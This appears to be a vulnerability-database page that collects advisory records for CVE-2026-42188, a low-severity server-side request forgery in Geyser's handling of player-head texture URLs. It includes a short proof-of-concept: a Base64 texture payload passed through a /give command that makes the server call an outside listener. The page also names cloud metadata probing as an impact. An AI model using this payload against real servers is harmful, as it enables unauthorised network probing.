Vulnerability-Lookup

CVE-2026-42188 (GCVE-0-2026-42188)

Vulnerability from cvelistv5 – Published: 2026-05-11 21:25 – Updated: 2026-05-13 14:39

Title

Geyser: Server-Side Request Forgery (SSRF) via Player Head Texture URL

Summary

Geyser is a bridge between Minecraft: Bedrock Edition and Minecraft: Java Edition. Prior to 2.9.3, a server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client. This vulnerability is fixed in 2.9.3.

Severity

2.4 (Low)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-13 14:06 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/GeyserMC/Geyser/security/advis…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
GeyserMC	Geyser	Affected: < 2.9.3	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-42188

Vulnerability from fkie_nvd - Published: 2026-05-11 22:22 - Updated: 2026-08-25 17:01

Severity

2.4 (Low) - CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N
4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/GeyserMC/Geyser/security/advisories/GHSA-xcfg-fcr5-gw9r	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/GeyserMC/Geyser/security/advisories/GHSA-xcfg-fcr5-gw9r	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	geysermc	geyser	*

JSON

To clipboard

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GHSA-XCFG-FCR5-GW9R

Vulnerability from github – Published: 2026-05-05 20:03 – Updated: 2026-05-13 14:19

Summary

Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser

Details

Summary

A server-side request forgery (SSRF) vulnerability exists in Geyser’s handling of Bedrock player head texture data. By supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints. This occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.

Details

Geyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.

When a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution. However, the URL contained in the textures.SKIN.url field is not sufficiently validated.

PoC

Setup Environment:
Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.
Ensure you have a Bedrock client connected.
Prepare Listener:
Go to webhook.site and obtain a unique URL (e.g., https://webhook.site/YOUR-UUID).
Construct Payload:
Create a JSON payload pointing to your listener URL: {"textures":{"SKIN":{"url":"https://webhook.site/YOUR-UUID"}}}
Encode this JSON string to Base64. (You can use a terminal command: echo -n '{"textures":{"SKIN":{"url":"..."}}}' | base64)
Execute Command:
Run the following command in the Bedrock Edition client: /give @p minecraft:player_head[minecraft:profile={properties:[{name:"textures",value:"[PASTE_BASE64_HERE]"}]}]
Verify:
Check the webhook.site dashboard.
You will see an HTTP GET request originating from the Minecraft Server's IP address, not the client's IP.

Impact

This vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.

Affected Parties

Minecraft servers running Geyser
Server operators exposing internal or cloud metadata endpoints

Potential Impacts

Internal network probing (e.g., intranet services, admin panels)
Cloud metadata access attempts (e.g., 169.254.169.254)
IP address disclosure of the Minecraft server
Abuse of the server as an HTTP request proxy

Although the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for: - Network mapping - Firewall bypass attempts - Cloud environment fingerprinting

Severity

2.4 (Low)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

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        }
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    "CVE-2026-42188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T20:03:16Z",
    "nvd_published_at": "2026-05-11T22:22:11Z",
    "severity": "LOW"
  },
  "details": "### Summary\nA server-side request forgery (SSRF) vulnerability exists in Geyser\u2019s handling of Bedrock player head texture data.\nBy supplying a crafted Base64-encoded skin texture URL via the /give command, an attacker can cause the Minecraft server to issue arbitrary HTTP GET requests to attacker-controlled or internal endpoints.\nThis occurs server-side, without proper URL validation, and can be triggered by a Bedrock client.\n\n### Details\nGeyser allows Bedrock clients to interact with Java Edition mechanics, including the creation of custom player heads using the minecraft:profile NBT structure.\n\nWhen a player head is created with a custom textures property, Geyser processes the Base64-encoded JSON value and forwards the embedded texture URL for resolution.\nHowever, the URL contained in the textures.SKIN.url field is not sufficiently validated.\n### PoC\n\n1. **Setup Environment:**\n   - Set up a Minecraft Server (Paper/Spigot) with the latest version of Geyser installed.\n   - Ensure you have a Bedrock client connected.\n\n2. **Prepare Listener:**\n   - Go to [webhook.site](https://webhook.site) and obtain a unique URL (e.g., `https://webhook.site/YOUR-UUID`).\n\n3. **Construct Payload:**\n   - Create a JSON payload pointing to your listener URL:\n     `{\"textures\":{\"SKIN\":{\"url\":\"https://webhook.site/YOUR-UUID\"}}}`\n   - Encode this JSON string to Base64.\n     *(You can use a terminal command: `echo -n \u0027{\"textures\":{\"SKIN\":{\"url\":\"...\"}}}\u0027 | base64`)*\n\n4. **Execute Command:**\n   - Run the following command in the Bedrock Edition client:\n   `/give @p minecraft:player_head[minecraft:profile={properties:[{name:\"textures\",value:\"[PASTE_BASE64_HERE]\"}]}]`\n\n5. **Verify:**\n   - Check the webhook.site dashboard.\n   - You will see an **HTTP GET request originating from the Minecraft Server\u0027s IP address**, not the client\u0027s IP.\n\n### Impact\nThis vulnerability allows server-side request forgery (SSRF) from the Minecraft server to arbitrary HTTP endpoints.\n\n#### Affected Parties\n- Minecraft servers running Geyser\n- Server operators exposing internal or cloud metadata endpoints\n\n#### Potential Impacts\n- Internal network probing (e.g., intranet services, admin panels)\n- Cloud metadata access attempts (e.g., 169.254.169.254)\n- IP address disclosure of the Minecraft server\n- Abuse of the server as an HTTP request proxy\n\nAlthough the vulnerability is blind SSRF (no response data returned to the attacker), it is still useful for:\n- Network mapping\n- Firewall bypass attempts\n- Cloud environment fingerprinting",
  "id": "GHSA-xcfg-fcr5-gw9r",
  "modified": "2026-05-13T14:19:57Z",
  "published": "2026-05-05T20:03:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/GeyserMC/Geyser/security/advisories/GHSA-xcfg-fcr5-gw9r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42188"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/GeyserMC/Geyser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Geyser Vulnerable to Server-Side Request Forgery (SSRF) via Player Head Texture URL in Geyser"
}

Sightings

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Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2026-42188 (GCVE-0-2026-42188)

FKIE_CVE-2026-42188

GHSA-XCFG-FCR5-GW9R

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